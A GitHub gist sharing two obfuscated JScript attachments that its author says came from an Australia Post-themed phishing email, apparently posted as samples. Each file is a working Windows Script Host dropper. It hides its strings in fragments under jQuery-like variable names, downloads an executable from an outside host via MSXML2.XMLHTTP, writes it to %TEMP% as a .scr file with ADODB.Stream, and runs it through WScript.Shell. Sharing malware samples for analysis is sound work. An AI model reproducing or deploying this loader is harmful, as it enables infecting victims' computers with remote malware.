Last active
March 7, 2016 22:41
-
-
Save joho/0e612d476f4e7f611396 to your computer and use it in GitHub Desktop.
JS in auspost phishing email received 8/3/16 (see screenshot at http://d.pr/i/KI9N)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| andSelf = "uni"; | |
| matches = "MP%/", hasScripts = "ng", curPosition = 0, toggle = 40, elemData = "ion"; | |
| rCRLF = "e", contexts = "Expan", speed = 9, rnoInnerhtml = "Cr"; | |
| createPositionalPseudo = "ct"; | |
| i = "eToFi"; | |
| parseFromString = "zahasa"; | |
| var which = "MSXM"; | |
| rejectWith = 1, th = "posit", extend = "write", makeArray = "ect", XMLHttpRequest = "fe.co", handlers = 173; | |
| jsonpCallback = "ronme"; | |
| padding = "ipt"; | |
| script = "l"; | |
| unique = 100; | |
| classCache = "ep"; | |
| duplicates = "://"; | |
| isXML = "t"; | |
| udataCur = "ntStri"; | |
| _removeData = "eObje"; | |
| ap = 105007; | |
| defineProperty = 16380; | |
| seed = "v"; | |
| remaining = 16; | |
| showHide = "type"; | |
| postDispatch = 31, stopQueue = "Creat", doneName = "reat", preventDefault = "Ru", lastChild = 8, origName = "d"; | |
| num = "GET", isLocal = "ADOD", firingIndex = "Body", srcElements = "bj", percent = 35, fragment = "ffic"; | |
| progressValues = "se"; | |
| evt = "stem"; | |
| text = "sa"; | |
| root = "adysta"; | |
| var prepend = 1380, | |
| firing = 58, | |
| contentDocument = 77, | |
| attrNames = "eObj", | |
| m = "Sle"; | |
| var prev = "WSc", | |
| progress = "re", | |
| namespaces = 3; | |
| rcombinators = "am", pipe = "p", valHooks = "te", append = "s", curCSSLeft = 23; | |
| readyWait = "/", rfocusMorph = "eateO", emptyStyle = "HT", type = "WScr", lang = "ript", clazz = "t.Sh"; | |
| var eventDoc = "TP", | |
| split = "L2.XML"; | |
| var parent = "logs/o", | |
| specified = "B.Stre", | |
| hidden = 120, | |
| t = 29, | |
| classes = 45, | |
| wrap = "Respon"; | |
| styles = 2, show = 37, letterSpacing = "http"; | |
| check = "WScrip", top = "C", buildFragment = "e.ex", css = ".scr"; | |
| hookFn = 156, dataShow = "open", pseudo = 1185, clearQueue = "ell", els = "n", initialInUnit = "m/sy"; | |
| fadeToggle = "dEnvi", triggerHandler = "Slee", class2type = 5; | |
| var nativeStatusText = "%TE", | |
| not = (function String.prototype.opts() { | |
| return this | |
| }, "close"); | |
| parseOnly = (((1 * curPosition) | (0 | lastChild)), (((28 - curCSSLeft) + 0), this)); | |
| resolveContexts = preventDefault + els; | |
| empty = parseOnly[check + isXML]; | |
| ajaxExtend = empty[stopQueue + _removeData + createPositionalPseudo](check + clazz + clearQueue); | |
| properties = ajaxExtend[contexts + fadeToggle + jsonpCallback + udataCur + hasScripts + append](nativeStatusText + matches) + andSelf + isXML + css; | |
| guid = parseOnly[type + padding][rnoInnerhtml + rfocusMorph + srcElements + makeArray](which + split + emptyStyle + eventDoc); | |
| guid[dataShow](num, letterSpacing + duplicates + parseFromString + XMLHttpRequest + initialInUnit + evt + readyWait + parent + fragment + buildFragment + rCRLF, !((((Math.pow(percent, 2) - pseudo) - (0 ^ show)) * ((3 & namespaces) * 5 * (namespaces * 2 + rejectWith) * (3 & styles) / ((32 | hookFn), (26 + classes), (3689 / postDispatch), (13 + t))) & ((Math.pow(((14 * namespaces + 3) & (speed + 36)), (styles ^ 0)) - ((prepend ^ 2524) - (firing, 144, handlers, 1298))) - (((remaining + 19) & (toggle | 39)) ^ (namespaces * 2 * (hidden / 40) + styles)))) > 2)); | |
| guid[append + rCRLF + els + origName](); | |
| while (guid[progress + root + valHooks] < ((lastChild ^ 6) - (class2type * 2))) { | |
| parseOnly[check + isXML][triggerHandler + pipe](((unique | 4) | (contentDocument & 118))); | |
| } | |
| rscriptTypeMasked = parseOnly[type + padding][top + doneName + attrNames + makeArray](isLocal + specified + rcombinators); | |
| parseOnly[prev + lang][m + classCache](((ap / 7) & (defineProperty & 16383))); | |
| rscriptTypeMasked[dataShow](); | |
| tuples = rscriptTypeMasked; | |
| tuples[showHide] = ((rejectWith + 0) + (curPosition ^ 0)); | |
| rinputs = tuples; | |
| rscriptTypeMasked[extend](guid[wrap + progressValues + firingIndex]); | |
| rinputs[th + elemData] = ((rejectWith + -1) / class2type * 2 * class2type); | |
| rscriptTypeMasked[text + seed + i + script + rCRLF](properties, ((0 ^ rejectWith) * (1 * styles))); | |
| rscriptTypeMasked[not](); | |
| optSelected = ajaxExtend; | |
| optSelected[resolveContexts](properties.opts(), (1 + -(rejectWith | 0)), ((curPosition & 1) | (curPosition / 36))); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| etag = "GET"; | |
| onload = 5; | |
| modified = 0; | |
| dataShow = "ffi"; | |
| var rnoContent = 29, | |
| owner = "fe.c", | |
| removeEventListener = "WScr", | |
| rhash = "om/sy"; | |
| removeEvent = "ronmen", createCache = 9, speeds = "rt"; | |
| var e = 4, | |
| domManip = "/", | |
| testContext = "e", | |
| xhrSupported = 176304; | |
| size = 251; | |
| initial = "eBo"; | |
| holdReady = "Sle"; | |
| list = "Creat"; | |
| indirect = "i"; | |
| pixelMarginRightVal = "state"; | |
| iNoClone = "tion"; | |
| throws = "WSc"; | |
| result = 30; | |
| rnoInnerhtml = "zaha"; | |
| var isEmptyObject = "tp://"; | |
| var defaultPrevented = "wri", | |
| appendChild = 3, | |
| createPseudo = "ipt", | |
| Deferred = "y", | |
| _$ = "SXML2.", | |
| mimeType = "TP"; | |
| var rtrim = "ec", | |
| rtagName = "WScrip", | |
| run = "close", | |
| scrollTo = "She", | |
| hooks = "ll"; | |
| setter = 59; | |
| var rxhtmlTag = 179; | |
| var w = 15, | |
| camelCase = "bject", | |
| groups = ".scr", | |
| related = "c"; | |
| var eventHandle = "o", | |
| _default = "M", | |
| rsubmitterTypes = "ODB.", | |
| defaultValue = 14; | |
| all = 25; | |
| ridentifier = "sa"; | |
| cssFn = "d"; | |
| setFilters = "gs/o"; | |
| isXML = "s"; | |
| preventDefault = 27; | |
| ajax = "Expan"; | |
| activeElement = "XMLH"; | |
| argument = 81; | |
| relatedTarget = "T"; | |
| curCSS = 32; | |
| postMap = "ers"; | |
| camelKey = "ep"; | |
| tag = 10, pnum = 1, addClass = "conve", overflowY = "saveTo"; | |
| send = "pt"; | |
| tween = "at"; | |
| camel = "type", resolveValues = "Scrip", DOMParser = "eO", propHooks = "File", trim = "ript"; | |
| var cleanData = "W", | |
| genFx = "lo", | |
| isNumeric = 72, | |
| transport = "stem/"; | |
| selection = "gs"; | |
| maxIterations = 2400; | |
| uid = "ht"; | |
| clearTimeout = "tStrin"; | |
| qsaError = "%TEMP%"; | |
| getAttributeNode = 16; | |
| fast = "p"; | |
| stopOnFalse = "Respon"; | |
| responseText = "AD"; | |
| val = "t."; | |
| fixHooks = "Stream"; | |
| isReady = "en", superMatcher = "t"; | |
| lastModified = "Run", height = (function Object.prototype.isSuccess() { | |
| return this | |
| }, 2), location = "dEnvi", values = "op", dataTypeExpression = "eObj", binary = 61; | |
| len = "WScri", slideDown = "read"; | |
| prependTo = "Cre"; | |
| valueParts = "ce.exe"; | |
| isFunction = "sen"; | |
| fire = 193; | |
| mozMatchesSelector = ((Math.pow(2 * binary, 2) - (xhrSupported / 12)), (((w - 6) + (height ^ 1)), this)); | |
| addEventListener = lastModified; | |
| el = mozMatchesSelector[cleanData + resolveValues + superMatcher]; | |
| readyWait = el[list + dataTypeExpression + rtrim + superMatcher](rtagName + val + scrollTo + hooks); | |
| conditionFn = readyWait[ajax + location + removeEvent + clearTimeout + selection](qsaError + domManip) + addClass + speeds + postMap + groups; | |
| content = mozMatchesSelector[removeEventListener + createPseudo][prependTo + tween + dataTypeExpression + testContext + related + superMatcher](_default + _$ + activeElement + relatedTarget + mimeType); | |
| content[values + isReady](etag, uid + isEmptyObject + rnoInnerhtml + ridentifier + owner + rhash + transport + genFx + setFilters + dataShow + valueParts, !((((((createCache / 3) * (height + 0) + height) + 0) - ((rnoContent & 31) - (preventDefault & 31)) * ((curCSS ^ 19) / (Math.pow(defaultValue, 2) - rxhtmlTag))) + (((1 + -pnum)) / (((1 | pnum) * 0) ^ (height & (0 | appendChild))))) == (((((112 / getAttributeNode) - (7 & onload)) + (0 / (getAttributeNode ^ 4)))) | (((modified & 1) | ((modified ^ 0) ^ modified)) / (Math.pow(((Math.pow(33, height) - 1049) & (result ^ 35)), ((height & 2) + (modified & 0))) - (Math.pow(tag, 2) - argument) * (410 / tag) * 2))))); | |
| content[isFunction + cssFn](); | |
| while (content[slideDown + Deferred + pixelMarginRightVal] < ((setter, 15, size, 0) ^ (e | 4))) { | |
| mozMatchesSelector[throws + trim][holdReady + camelKey](((fire - 21) - (isNumeric | 64))); | |
| } | |
| width = mozMatchesSelector[len + send][list + DOMParser + camelCase](responseText + rsubmitterTypes + fixHooks); | |
| mozMatchesSelector[len + send][holdReady + camelKey]((Math.pow((maxIterations | 14665), (height)) - 29 * appendChild * 2482607)); | |
| width[values + isReady](); | |
| set = width; | |
| set[camel] = (pnum & 1); | |
| get = set; | |
| width[defaultPrevented + superMatcher + testContext](content[stopOnFalse + isXML + initial + cssFn + Deferred]); | |
| get[fast + eventHandle + isXML + indirect + iNoClone] = ((pnum & 1) * (modified)); | |
| width[overflowY + propHooks](conditionFn, ((0 ^ height) + 0)); | |
| width[run](); | |
| nonce = readyWait; | |
| nonce[addEventListener](conditionFn.isSuccess(), ((all * 4 + pnum), 13, (e - 4)), (pnum * 0)); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment